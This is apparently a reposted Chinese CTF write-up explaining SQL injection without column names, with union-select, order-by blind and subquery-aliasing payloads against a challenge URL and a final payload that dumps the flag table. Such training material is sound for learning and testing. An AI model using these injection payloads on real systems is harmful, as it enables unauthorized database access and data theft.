记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

一道题引发的无列名注入

2019-08-23 00:15

@Syst1m的考核题

题目地址 http://152.136.179.79:18084/ 传入id=3为flag的id。

常规联合查询注入

http://152.136.179.79:18084/?id=3 union select 1,2,3

三个字段

http://152.136.179.79:18084/?id=3 union select 1,2,(select table_name from information_schema.tables where table_schema=database())

拿到flag所在的表,继续查列名

http://152.136.179.79:18084/?id=3 union select 1,2,(select column_name from information_schema.columns where table_name='this_1s_th3_fiag_tab13')

死活查不出来,应该是过滤了column关键字,没有列名怎么查出来数据呢???

有两种方法
1. order by盲注
2. 子查询

本地测试建表

20190822205338

20190822205621

order by盲注

order by用于根据指定的列对结果集进行排序。一般上是从0-9a-z这样排序,不区分大小写。

先来本地测试一下

20190822210044

可以看到我们构造的数据排在了第一行

20190822210124

仍然在第一行

20190822210155

当拿’q’和’pass’做比较时,我们构造的数据被排在了第二行。由此可以来根据不同的回显来逐位判断。

拿我们这道题来说

20190822210915

1的时候我们的数据在前

20190822210948

2的时候原始数据在前,说明第一位是1

然后判断第二位

20190822211104

1a的时候我们的数据在前

20190822211144

1b的时候原始数据在前,说明第二位是1a

由此逐位判断。

子查询

在无列名的情况下,用子查询可以很简单的将数据跑出来。

子查询是将一个查询语句嵌套在另一个查询语句中。在特定情况下,一个查询语句的条件需要另一个查询语句来获取,内层查询(inner query)语句的查询结果,可以为外层查询(outer query)语句提供查询条件。

20190822214132

这个语句将列名转换为了1,2,3,这个时候列名就已知了,我们可以用子查询将数据归并。

20190822214824

此时就能查出来数据了,然后我们再来看这个题。

我们已知了表名为this_1s_th3_fiag_tab13,但是不知道这个表有几个字段

20190822220530

可以用联合查询的方式来判断字段数。

查出数据

20190822220706

拿到我们这个题里来

20190822220930

payload

http://152.136.179.79:18084/?id=3 union select 1,2,x.2 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from this_1s_th3_fiag_tab13)x

子查询真是个好东西

知识来源: https://www.chabug.org/ctf/852.html

阅读:25730 | 评论:0 | 标签:注入

想收藏或者和大家分享这篇好文章→复制链接地址

“一道题引发的无列名注入”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云